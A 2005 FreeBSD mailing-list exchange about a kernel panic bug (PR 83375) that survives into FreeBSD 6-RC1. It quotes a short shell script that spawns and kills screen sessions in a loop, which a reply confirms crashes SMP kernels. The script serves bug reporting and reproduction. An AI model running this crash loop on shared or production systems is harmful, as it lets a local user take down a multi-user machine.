show stopper for FreeBSD 6

[Dennis berger]

Philippe PEGON wrote:

> Hi,
>
> I know that it's a bit late for FreeBSD 6 release, but I think this
> issue is a significant problem for FreeBSD :
>
> http://www.freebsd.org/cgi/query-pr.cgi?pr=kern/83375
>
> our productions servers with FreeBSD 5.4 reboots every week with this
> panic and we are not alone. We hoped that FreeBSD 6 would have solved
> this problem after this thread on freebsd-stable :
>
> http://lists.freebsd.org/mailman/htdig/freebsd-stable/2005-June/016154.html 
>
>
> I have just tested with FreeBSD 6-RC1 and the problem remains here.
> Moreover, I think it's also a security issue because a single user, with
> a shell account on an FreeBSD SMP box, could trigger a panic with a
> simple shell script like that one (posted by Marc Olzheim in PR 83375),
> it's annoying particularly in a multi-user environment :
>
> #!/bin/sh
>
> count=0
> while true
> do
>     screen -d -m -c "${PWD}/.screenrc.crashpts" &
>     count=$(($count+1))
>     if [ $(($count%100)) = 0 ]
>     then
>         killall screen
>         sleep 2
>         killall -9 screen
>     fi
> done
>
> -- 
> Philippe PEGON
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i'm currently running this script on freebsd 6.0RC1 with SMP kernel and 
I got page fault while in kernel mode...
after running this script for 5-10 minutes...

i'll test it on a releng_6_0 from today.

regards,
Dennis